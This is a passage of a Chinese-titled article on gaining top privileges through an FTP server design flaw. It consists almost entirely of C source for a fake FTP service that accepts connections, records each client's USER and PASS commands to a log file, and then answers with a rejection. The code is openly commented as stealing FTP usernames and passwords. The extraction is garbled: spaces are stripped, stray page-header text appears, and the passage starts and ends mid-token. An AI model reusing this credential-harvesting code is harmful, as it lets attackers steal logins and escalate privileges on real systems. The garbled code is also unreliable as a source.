利用ftp服务程序本身设计的-缺陷-取得最高权限

第第页利用ftp服务程序本身设计的"缺陷"取得最高权限cceptSocket=INVALID_SOCKET;

SOCKET*CloneSocket=NULL;

while(TRUE)

{

SOCKADDR_INclient;

intnSize=sizeof(client);

AcceptSocket=accept(ListenSocket,(SOCKADDR*)client,nSize);

if(AcceptSocket==INVALID_SOCKET)//SomethingIsWrongAboutTheSocket

{

break;//GetToLeave

}

CloneSocket=(SOCKET*)malloc(sizeof(AcceptSocket));//AllocateForSocketRam

if(CloneSocket==NULL)//NotEnoughRam,VeryRareSituation

{

closesocket(AcceptSocket);//CloseThatConnection

continue;

}

*CloneSocket=AcceptSocket;//MakeACopyOfAccpetSocket

HANDLEhThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0,dwThreadID);//CreateAThread

if(hThread!=NULL)

{

CloseHandle(hThread);

}

}

closesocket(ListenSocket);

returnTRUE;

}//EndOfHandleFPRequest()

//

//Purpose:ToStealTheFTPUserNameAndPassword

//ReturnType:BOOLEAN

//Parameters:

//In:constSOCKETClientSocket--TheConnector'sSocket

//

BOOLRetrieveFTPUserAndPass(constSOCKETClientSocket)

{

constchar*UserOK="331Usernameokay,needpassword.\r\n";

charBuffer[MAX_PATH];

memset(Buffer,0,sizeof(Buffer));

if(!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))//FailToReceiveUserName

{

returnFALSE;

}

if(strnicmp(Buffer,"USER",4)==0)//WeGetTheUserName,StoreItIntoFile

{

EnterCriticalSection(cs);

SaveInfo(LogFile,"\r\n");

SaveInfo(LogFile,Buffer);

LeaveCriticalSection(cs);

}

else//UnknowsCommandReceived

{

returnFALSE;

}

if(!SendSocket(ClientSocket,UserOK))//FailToSendInformation

{

returnFALSE;

}

memset(Buffer,0,MAX_PATH);

if(!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))//FailToReceivePassword

{

returnFALSE;

}

if(strnicmp(Buffer,"PASS",4)==0)//WeGetThePassword,StoreItIntoFile

{

EnterCriticalSection(cs);

SaveInfo(LogFile,Buffer);

SaveInfo(LogFile,"\r\n\r\n");

LeaveCriticalSection(cs);

}

else//UnknowsCommandReceived

{

returnFALSE;

}

returnTRUE;

}//EndOfRetrieveFTPUserAndPass()

//

//Purpose:ToHandleTheConnector'sRequest

//ReturnType:DWORD

//Parameters:

//In:LPVOIDPara--TheConnector'sSocket

//

DWORDWINAPIFTPThread(LPVOIDPara)

{

SOCKETClientSocket=(*(SOCKET*)Para);//RetrieveTheSocket

free(Para);//FreeTheAllocatedRam

if(!SendFTPBanner(ClientSocket))//FailToSendFTPBanner

{

closesocket(ClientSocket);//CloseTheConnection

return1;

}

RetrieveFTPUserAndPass(ClientSocket);//GetTheConnector'sUserNameandPassword

SendSocket(ClientSocket,"530Notloggedin,unauthorizedIPaddress.\r\n");//C